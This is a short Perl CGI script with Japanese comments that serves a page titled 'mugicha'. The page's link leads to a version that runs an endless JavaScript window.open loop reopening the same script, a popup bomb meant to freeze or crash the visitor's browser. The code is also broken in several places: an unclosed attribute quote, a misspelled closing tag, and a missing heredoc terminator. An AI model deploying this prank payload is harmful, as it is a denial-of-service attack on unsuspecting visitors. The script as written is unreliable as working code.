//////mugi.cgi 次の行から　　動作の保障は致しません
#!/usr/local/bin/perl

if ($ENV{'QUERY_STRING'} eq "a")
{
print <<"EOF";
<html><head><title>むぎ茶</title></head><body>
<img src="mailto:mugicha@360.cc">
<script type="text/javascript>while(1){window.open("mugi.cgi?a");}</script>
</body></hyml>
EOF
}else{
print <<"EOF";
<html><head><title>むぎ茶</title></head><body>
<a href="mugi.cgi?a">こちら</a>
</body></html>
}

__END__